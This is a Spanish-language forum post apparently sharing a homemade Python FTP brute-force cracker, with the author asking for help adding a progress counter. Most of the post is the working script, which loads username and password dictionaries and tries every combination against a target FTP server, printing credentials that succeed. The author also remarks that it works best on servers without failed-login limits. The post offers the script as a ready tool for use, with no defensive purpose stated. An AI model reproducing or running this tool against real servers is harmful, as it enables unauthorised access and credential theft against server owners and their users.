EDIT: Por lo visto el problema de la velocidad solo se da en algunos servers, en servidores que no tienen límite de intentos fallidos, funciona perfectamente

Resuelto el problema de los límites de fallos

Aquí os dejo el link con un diccionario de 3mb en texto plano ( hay bastantes

Tened en cuenta también que en los ftp públicos toda cuenta que tenga como user "anonymous" es válida xD.
Si os interesa que le aplique interfaz gráfica decidmelo

Este es el código:
Código
#!/usr/bin/env python # -*- coding: utf-8 -*- import ftplib class ftp_brute_force: def __init__(self,conectftp,target): self.listausuarios,self.listapasswords,self.conectftp,self.target,self.contadorus,self.contadorpas = ([],[],conectftp,target,0,0) print "\n[+] Cargando los diccionarios,esto puede tardar unos segundos... [+]" try: self.users = open("usuarios.txt","r") self.passwords = open("passwords.txt","r") except: print "\n [-] No existen los diccionarios" exit() for self.user in self.users.readlines(): self.listausuarios.append(self.user) self.contadorus += 1 for self.password in self.passwords.readlines(): self.listapasswords.append(self.password) self.contadorpas += 1 self.users.close() self.passwords.close() print "\n[+] Diccionarios Cargados: " + str(self.contadorus) + " Usuarios y " + str(self.contadorpas) + " Passwords [+]" print "\n[+] Combinaciones posibles: " + str(self.contadorus*self.contadorpas) +" [+]" print "\n[+] Ataque iniciado,puede llevar bastante tiempo, no cierre el programa [+]\n\n" self.bruteforce() def bruteforce(self): for self.user in self.listausuarios: for self.password in self.listapasswords: try: self.conectftp.login(self.user,self.password) print "Los datos son --> " + self.user + " y " + self.password self.conectftp.quit() self.conectftp.close() self.conectftp = ftplib.FTP(self.target) raw_input() except: print self.user + " y " + self.password + " no son correctos" self.conectftp.quit() self.conectftp.close() self.conectftp = ftplib.FTP(self.target) print " [-] No se han podido extraer datos." if __name__ == '__main__': print " [+] FTP CRACKER BY RUNE [+]\n\n\n" target = raw_input("\n\nIntroduce el target [+] > ") try: conectftp = ftplib.FTP(target) except: print " \n[-] No existe el target" exit() instancia = ftp_brute_force(conectftp,target)
Por cierto, para amenizar la impresión por pantalla quería hacer tipo un contador que vaya subiendo por cada usuario y contraseña probado, sin que cambie de posición en pantalla, que se vaya actualizando, algo así:
0/10000 y que cuando pruebe 1 cambie a 1/10000 sin imprimirse en otra linea.
¿ Se os ocurre algo ?
Eso es todo compañeros, espero vuestra ayuda, un saludo, Runex
